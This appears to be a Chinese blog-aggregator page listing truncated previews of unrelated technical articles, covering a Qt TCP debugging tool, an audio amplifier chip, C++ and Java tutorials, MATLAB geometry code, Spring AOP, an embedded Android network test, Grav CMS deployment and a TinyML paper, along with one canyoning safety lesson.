发布版本链接 通过百度网盘分享的文件:TCP调试助手V1.zip(含客户端与服务器) 链接:https://pan.baidu.com/s/14LTRPChPhYdwp_s6KeyBiA?pwdcedu 提取码:cedu 基于Qt/C实现了一款功能丰富的TCP服务器与客户端调试助手…

HT876 带任意限幅的10.9Wx2高保真音频功放

特点 可任意配置的限幅功能 自由选择音频限制幅度,使输出音频信号限制在固定 失真水平内 内置自动限温控制功能 支持AB类与D类切换 THDN:0.02%(VDD8.4V, RL 4Ω, fIN 1kHz, Po 2x1.0W, BTL) 输出功率(fIN1kHZ,THDN10%) 2x10.9W (VDD9.0V, RL4Ω, BTL) VDD供电范围:2…

【C++】模拟实现二叉搜索(排序)树

🦄个人主页:修修修也 🎏所属专栏:实战项目集 ⚙️操作环境:Visual Studio 2022 目录 一.了解项目功能 二.逐步实现项目功能模块及其逻辑详解 📌实现BSTreeNode类模板 🎏构造BSTreeNode类成员变量 🎏实现BSTreeNode类构…

空间解析几何2:空间中两线段/直线的距离【附MATLAB代码】

目录 理论公式 MATLAB代码 理论公式 MATLAB代码 公式实现 function [dis,P,Q,t1,s1]line2LineDistance(A1,B1,C1,D1) %求两线段的最短距离 % input % A1,B1为线段一的两端点 C1,D1为线段二的两端点 % output % dis,为两线段的最短距离,P,Q为距离最短时在两线段上…

10.2 溪降技术:双重检查

目录 10.2 双重检查概览观看视频课程电子书:双重检查场景场景 1场景 2 个人责任示例 1示例 2 总结 10.2 双重检查 概览 俗话说:“江山易改,本性难移”。在我们开始体验峡谷探险时,培养良好的习惯对我们的进一步发展至关重要。在所…

Spring AOP的应用

目录 1、maven坐标配置与xml头配置 2、代理方式的选择与配置 3、AOP的三种配置方式 3.1、XML模式 3.1.1 创建目标类和方法 3.1.2 创建切面 3.1.3 切面xml配置与表达式说明 3.1.4 单测 3.2 纯注解模式 3.2.1 开启注解相关配置 3.2.2 创建目标类和方法 3.2.3 创建切面…

ChatGPT 4o 使用指南 (9月更新)

首先基础知识还是要介绍得~ 一、模型知识: GPT-4o:最新的版本模型,支持视觉等多模态,OpenAI 文档中已经更新了 GPT-4o 的介绍:128k 上下文,训练截止 2023 年 10 月(作为对比,GPT-4…

java之斗地主部分功能的实现

今天我们要实现斗地主中发牌和洗牌这两个功能,该如何去实现呢? 1.创建牌类:52张牌每一张牌包含两个属性:牌的大小和牌的花色。 故我们优先创建一个牌的类(Card):包含大小和花色。 public class Card { //单张牌的大小及类型/…

20240921在友善之臂的NanoPC-T6开发板上使用Rockchip原厂的Android12适配宸芯的数传模块CX6602N

127|console:/ # uname -a console:/ # ifconfig console:/ # ifconfig -a console:/ # ifconfig -a 130|console:/ # ifconfig usb0 192.168.42.130 console:/ # console:/ # ifconfig console:/ # iperf3 -s & iperf3 -c 192.168.42.130 -i 1 -t 30 20240921在友善之臂的…

828华为云征文|华为云Flexus云服务器X实例之openEuler系统下部署Grav内容管理系统

828华为云征文|华为云Flexus云服务器X实例之openEuler系统下部署Grav内容管理系统 前言一、Flexus云服务器X实例介绍1.1 Flexus云服务器X实例简介1.2 Flexus云服务器X实例特点1.3 Flexus云服务器X实例使用场景 二、Grav介绍2.1 CMS介绍2.2 Grav简介2.3 Grav特点2.4 …

TinyML-On-The-Fly: 实时、低功耗、低成本的微控制器嵌入式设备内计算机视觉技术用于无人机图像分类

这篇论文的标题是《TinyML-On-The-Fly: Real-Time Low-Power and Low-Cost MCU-Embedded On-Device Computer Vision for Aerial Image Classification》,作者是 Riya Samanta, Bidyut Saha, Soumya K. Ghosh,来自印度理工学院克勒格布尔分校。论文主要研…